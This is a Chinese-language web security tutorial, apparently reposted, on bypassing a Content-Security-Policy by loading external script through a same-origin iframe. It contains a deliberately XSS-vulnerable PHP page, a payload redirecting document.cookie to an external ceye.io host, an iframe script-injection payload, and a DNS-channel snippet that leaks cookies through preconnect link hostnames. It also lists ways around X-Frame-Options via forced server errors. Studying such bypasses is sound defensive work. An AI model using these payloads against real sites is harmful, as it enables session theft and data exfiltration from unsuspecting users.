通過iframe標簽繞過csp


iframe.php代碼如下:

allow-popups開啟時,window.open就可以打開新的窗口。

看csp規則,默認是在當前域內,如果這是一個ctf題的話,就很簡單了,window.location.href='http://aa.xxxx.ceye.io?'+document.cookie;能把cookie傳出來。

但是要是遠程加載js文件是不滿足csp規則的。

<?php 
header("Content-Security-Policy: default-src 'self' 'unsafe-inline'; sandbox allow-forms allow-same-origin allow-scripts allow-modals allow-popups");
setcookie('afanti','test');
?>
<!DOCTYPE html>
<html>
<head>
    <title>bypass csp</title>
</head>
<body>
 <script> <?php echo $_GET['xss']; ?></script>
</body>

被csp規則攔住:

通過iframe引入外部js,其中iframe的src屬性必須是同域下的。

引入的js代碼如下:

f=document.createElement("iframe");
f.id="pwn";
f.src="./1.txt";
f.onload=()=>{
    x=document.createElement('script');
    x.src='//www.123.com/csp/1.js';                  
    pwn.contentWindow.document.body.appendChild(x)
};
document.body.appendChild(f);

這時候就能繞過csp引入其他域下的js了。

但是存在的問題就是,雖然能將外部的js引入,不能把瀏覽器的數據帶出來。

解決辦法:通過dns通道來傳遞cookie。

dc = document.cookie;
dcl = dc.split(";");
n0 = document.getElementsByTagName("HEAD")[0];
for (var i=0; i<dcl.length;i++)
{
console.log(dcl[i]);
n0.innerHTML = n0.innerHTML + "<link rel=\"preconnect\" href=\"//" + escape(dcl[i].replace(/\//g, "-")).replace(/%/g, "_") + '.' + location.hostname.split(".").join("") +  ".on1sw1.ceye.io\">";
console.log(n0.innerHTML);
}

打到的cookie。

獲取父窗口的內容<code id='secret'>Secret=xni3cQ2v6lnN2BVn</code>。

獲取到的父窗口的內容。

 

假設當前網站的頭部都加上了:header("X-Frame-Options:DENY");也就是沒辦法引入同域下的iframe標簽,被攔截了,后面的js語句不執行了。

把iframe.src="http://www.123.com/csp/test.php";其中test.php頭部加上header("X-Frame-Options:DENY"),這樣就無法運行后面的js語句。

 

解決辦法:

可以通過讓服務器處理出錯來繞過,來引入我們外部的js文件。

 1、請求一個不存在的地址

 

2、請求長的url,讓服務器產生414錯誤

3.產生巨大的cookie,測試代碼看參考鏈接

總結:

1、可以通過iframe引入其他域的js文件(問題:引入的js也受csp策略的影響,不能將本域的內容傳出去,但是可以通過dns通道傳出去)

利用場景:xss點引入的有長度限制,通過iframe引入其他域的文件,在通過dns通道將本域的js文件傳出去。

參考鏈接:

https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM